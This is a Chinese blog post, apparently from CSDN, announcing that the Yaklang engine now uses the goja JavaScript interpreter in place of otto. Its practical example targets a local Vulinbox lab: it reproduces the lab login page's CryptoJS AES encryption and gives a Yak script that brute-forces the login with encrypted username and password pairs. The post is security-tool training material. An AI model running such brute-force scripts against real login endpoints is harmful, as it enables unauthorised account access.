上新!更强大的JS引擎:goja

@Lonelone

前言

一直以来,Yaklang引擎使用 robertkrimen/otto (以下简称otto)作为 JavaScript 解释器以执行一些 JavaScript 代码。然而,最近用户提出的许多新需求在使用 otto 这个第三方库时遇到了一些问题,其主要原因是因为 otto 的语法树解析实现存在一些问题,因此在遇到一些执行压缩过后的 JavaScript 第三方依赖(如常见的CryptoJS)时会出现解析错误。

为了解决这个问题,也为了完善用户的体验,我们决定使用 dop251/goja (以下简称为 goja )这个第三方库来代替 otto 这个库,让 otto 这个库光荣退休。

otto: 我不是退役了 我只是没人要

为什么选择 goja

选择 goja 的原因有很多,列出主要的几点:

  • 完整的 ECMAScript 5.1 实现(甚至有不完整的ECMAScript 6.0 实现)
  • 通过了大部分的 tc39 tests,这是官方的 ECMAScript 一致性测试套件
  • otto 的平均速度快6~7倍

几乎一致性的API

对于yaklang语言的用户来说,此次升级是几乎无感知的,在升级的同时确保了 80% 的API无变动,但由于底层实现不尽相同,因此可能会存在某些不常用的函数(如js.ASTWalkjs.GetSTType)以及结构体方法(如Value)会存在某些差异,对此库用户的影响控制在合适的范围内。

全新的内置第三方JavaScript依赖API

此次升级的一个重要点在于为了解决使用某些常用 JavaScript 第三方依赖(如上文提到的 CryptoJS)的问题。通过新的API,我们可以快速地使用这些 JavaScript 第三方依赖,而省略编译的过程(初次编译之后会进行缓存,之后不再需要进行编译)。

一个简单的使用CryptoJS V3的例子如下:

Go
_, value = js.Run(`
    CryptoJS.HmacSHA256("Message", "secret").toString();
 `, js.libCryptoJSV3())~
 println(value.String())

实战案例

Yakit 自带的 Vulinbox 靶场其中的高级前端加解密与验签实战 - CryptoJS.AES(CBC) 前端加密登陆表单为例,讲解一下如何使用升级后的 js 库。如何安装与启动 Vulinbox 靶场这里不再赘述。

网站页面如下:

打开网站后,我们查看其页面源代码,观察前端是如何对数据进行加密的,主要核心代码如下:

JavaScript
var iv = CryptoJS.lib.WordArray.random(128/8);

function generateKey() {
    return  CryptoJS.enc.Utf8.parse("1234123412341234")  // 十六位十六进制数作为密钥
}

const key = generateKey()

// 加密方法
function Encrypt(word) {
    console.info(word);
    return  CryptoJS.AES.encrypt(word, key, {iv: iv}).toString();
}

function getData() {
    return {
        "username": document.getElementById("username").value,
        "password": document.getElementById("password").value,
    }
}

function outputObj(jsonData) {
    const word = JSON.stringify(jsonData);
    return {
        "data": Encrypt(word),
        "key": key.toString(),
        iv: iv.toString(),
    }
}

function submitJSON(event) {
    event.preventDefault();

    const url = "/crypto/js/lib/aes/cbc/handler";
    let jsonData = getData();
    let submitResult = JSON.stringify(outputObj(jsonData), null, 2)
    // 使用submitResult请求后台接口...
}


document.getElementById("json-form").addEventListener("submit", submitJSON)

简单分析知道,其最后请求的请求体是 submitResult 这个变量,这是一段JSON,包含了 data, key, iv 三个属性,其中 key 是固定的,iv 是随机生成的。虽然 iv 是随机生成的,但是并不影响我们进行爆破,我们可以同样生成一个新的iv或者使用页面的iv也可。

最后我们提炼出以下代码,基本上直接复制上述的js代码稍作修改即可使用:

JavaScript
// 注意这里我们不能直接复制 key 的赋值代码,这是因为 ECMAScript 5.1 不支持 const 关键字
key = CryptoJS.enc.Utf8.parse("1234123412341234");
iv = CryptoJS.lib.WordArray.random(128/8);

function Encrypt(word) {
    console.info(word);
    return  CryptoJS.AES.encrypt(word, key, {iv: iv}).toString();
}

function getData(username, password) {
    return {
        "username": username,
        "password": password,
    }
}

function outputObj(jsonData) {
    const word = JSON.stringify(jsonData);
    return {
        "data": Encrypt(word),
        "key": key.toString(),
        iv: iv.toString(),
    }
}

jsonData = getData("username", "password"); // 这里填写爆破的用户名和密码
submitResult = JSON.stringify(outputObj(jsonData), null, 2);// 最后发送的请求体

最终我们编写了一段简单的 Yak 代码,用于对此题进行爆破:

Go
for user in ["user", "admin"] {
    for pass in ["pass", "123456"] {
        vm, _ = js.Run(`
        key = CryptoJS.enc.Utf8.parse("1234123412341234");
        iv = CryptoJS.lib.WordArray.random(128/8);

        function Encrypt(word) {
            return  CryptoJS.AES.encrypt(word, key, {iv: iv}).toString();
        }

        function getData(username, password) {
            return {
                "username": username,
                "password": password,
            }
        }

        function outputObj(jsonData) {
            const word = JSON.stringify(jsonData);
            return {
                "data": Encrypt(word),
                "key": key.toString(),
                iv: iv.toString(),
            }
        }

        jsonData = getData(%#v, %#v);
        submitResult = JSON.stringify(outputObj(jsonData), null, 2);` % [user, pass], js.libCryptoJSV3())~

        body = vm.Get("submitResult").String()

        rsp, _ = poc.Post("http://127.0.0.1:8787/crypto/js/lib/aes/cbc/handler", poc.replaceBody([]byte(body), false))~
        println(string(rsp.RawPacket))
    }
}

响应中显示解密前端内容成功,这证明我们已经成功将请求体进行加密,可以用于爆破,后续只需要在for循环填入需要爆破的用户名密码即可。

  • 20
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
在Golang中执行JavaScript代码可以使用第三方库,例如github.com/dop251/goja。首先,你需要导入所需的包,然后创建一个JavaScript虚拟机对象。接下来,你可以使用vm.RunString()方法来运行JavaScript代码。例如,你可以定义一个斐波那契数列的函数并在Golang中调用它。下面是一个示例代码: ```go package main import ( "fmt" "github.com/dop251/goja" ) func main() { const script = ` function fib(n) { if (n === 1 || n === 2) { return 1 } return fib(n - 1) + fib(n - 2) } ` vm := goja.New() _, err := vm.RunString(script) if err != nil { fmt.Println("JS代码有问题!") return } var fn func(int32) int32 err = vm.ExportTo(vm.Get("fib"), &fn) if err != nil { fmt.Println("Js函数映射到 Go 函数失败!") return } fmt.Println("斐波那契数列第30项的值为:", fn(30)) } ``` 在这个示例中,我们使用goja库创建了一个JavaScript虚拟机对象vm。然后,我们使用vm.RunString()方法运行了一个JavaScript代码块,其中定义了一个斐波那契数列的函数。接下来,我们使用vm.ExportTo()方法将JavaScript函数映射到Golang函数fn。最后,我们调用fn(30)来计算斐波那契数列的第30项的值,并将结果打印出来。 #### 引用[.reference_title] - *1* *3* [用Golang运行JavaScript的实现示例](https://blog.csdn.net/yandaxia6666/article/details/103238220)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [教你如何在Golang中运行JavaScript](https://blog.csdn.net/Linuxprobe18/article/details/122755031)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值